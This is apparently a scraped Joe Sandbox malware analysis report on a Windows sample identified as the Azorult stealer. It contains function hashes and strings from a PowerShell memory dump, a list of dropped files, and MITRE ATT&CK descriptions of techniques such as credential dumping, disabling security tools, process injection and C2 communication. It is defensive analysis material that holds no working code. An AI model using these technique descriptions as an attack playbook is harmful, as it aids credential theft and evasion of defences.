String ID: 4']q$4']q$tP]q$tP]q$$]q$$]q$$]q$$]q$k$k
API String ID: 0-1134676885
Opcode ID: 6ab27f45164300facb595f2e9cbf5820d9927aa6ed2c53f5c244c4e148f6d178
Instruction ID: 891aed37e24bedbcdb5a6772ecdaf18bee114e5e721c20bd8387a0b23ef2e6d0
Opcode Fuzzy Hash: 6ab27f45164300facb595f2e9cbf5820d9927aa6ed2c53f5c244c4e148f6d178
Instruction Fuzzy Hash: 19A179B27443098FC7199B7D9810666BBFAAFC2718F18846BD845CF3A1DA35CC45C7A1

Function 07970550 Relevance: 12.8, Strings: 10, Instructions: 317COMMON

Download Yara Rule

Strings

k, xrefs: 07970807
k, xrefs: 07970815
4']q, xrefs: 07970653
$]q, xrefs: 07970758
$]q, xrefs: 07970732
$]q, xrefs: 07970764
tP]q, xrefs: 079707A9
4']q, xrefs: 0797065F
#j, xrefs: 0797061F
tP]q, xrefs: 0797079D

Memory Dump Source

Source File: 0000000A.00000002.2222390680.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7970000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q$#j$$]q$$]q$$]q$k$k
API String ID: 0-3634800691
Opcode ID: 198a5802eff7f65deff6bfbf3f7e5f19c9dbb1d21c0146b9fdfc173c7950f988
Instruction ID: 1057b03947dd8d15ab5e4699fb4217391d89888e8720cf8e80b0a11f0093c879
Opcode Fuzzy Hash: 198a5802eff7f65deff6bfbf3f7e5f19c9dbb1d21c0146b9fdfc173c7950f988
Instruction Fuzzy Hash: 3FA167B27043128FC7259A6D982067ABBEAEFC1254F18846BD845CB391DB76CC41C7E1

Function 079711A0 Relevance: 8.9, Strings: 7, Instructions: 181COMMON

Download Yara Rule

Strings

$]q, xrefs: 07971327
4']q, xrefs: 07971256
$]q, xrefs: 0797135E
4']q, xrefs: 0797124A
k, xrefs: 079713A3
$]q, xrefs: 07971352
k, xrefs: 07971395

Memory Dump Source

Source File: 0000000A.00000002.2222390680.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7970000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q$$]q$k$k
API String ID: 0-2129215446
Opcode ID: 8869efd65c9c5e2842e9bbc95190e97f74aaadd784e672fc37bb71e4fdf237ac
Instruction ID: a17dd478504b1b9b9a4bfc1aec744858552ad8ad0479f84f61a9cffd5ad725e2
Opcode Fuzzy Hash: 8869efd65c9c5e2842e9bbc95190e97f74aaadd784e672fc37bb71e4fdf237ac
Instruction Fuzzy Hash: 35515AB178420ECFCB289AA9D410766BBFABFC2659F24847BD845CB251DA35C841C7A1

Function 079732B0 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$]q, xrefs: 079732C2
$]q, xrefs: 07973318
$]q, xrefs: 0797330C
$]q, xrefs: 079732DE

Memory Dump Source

Source File: 0000000A.00000002.2222390680.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7970000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: 5c2d4b05ad75978012a9b601f3cb474f1afb5a549c5058120961322461a34fdd
Instruction ID: ca813d4da808cae9ec28c0c9c5840440533cc6f54fd5611a414733e45ee99c73
Opcode Fuzzy Hash: 5c2d4b05ad75978012a9b601f3cb474f1afb5a549c5058120961322461a34fdd
Instruction Fuzzy Hash: 8E2168B13103969BEB38556E9851B37B6DEABC1B19FA4882AE945CB281DD76C800D331

Function 07970308 Relevance: 5.0, Strings: 4, Instructions: 42COMMON

Download Yara Rule

Strings

4']q, xrefs: 0797037F
$]q, xrefs: 0797035E
$]q, xrefs: 07970352
4']q, xrefs: 07970373

Memory Dump Source

Source File: 0000000A.00000002.2222390680.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7970000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q
API String ID: 0-978391646
Opcode ID: ab8e6025ce78d15ef3f92e3d35cc1e4d3fec3e7a82ca5364464fc851bf16106a
Instruction ID: e91895df711098b58ca129915e592496b170df9996afaaaeae8449a6df7237ee
Opcode Fuzzy Hash: ab8e6025ce78d15ef3f92e3d35cc1e4d3fec3e7a82ca5364464fc851bf16106a
Instruction Fuzzy Hash: F60149617093828FC32E127C48202146FB76FC2904B2A8AA7C4D0DB297CD584C05C3A7

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 962Zrwh5bU.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Azorult

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\73454066296265048722815.tmp

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-console-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-datetime-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-debug-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-errorhandling-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l1-1-0.dll

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l1-2-0.dll

C:\Users\user\AppData\Local\Temp\8047D2AF\api-ms-win-core-file-l2-1-0.dll

Windows Analysis Report
962Zrwh5bU.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre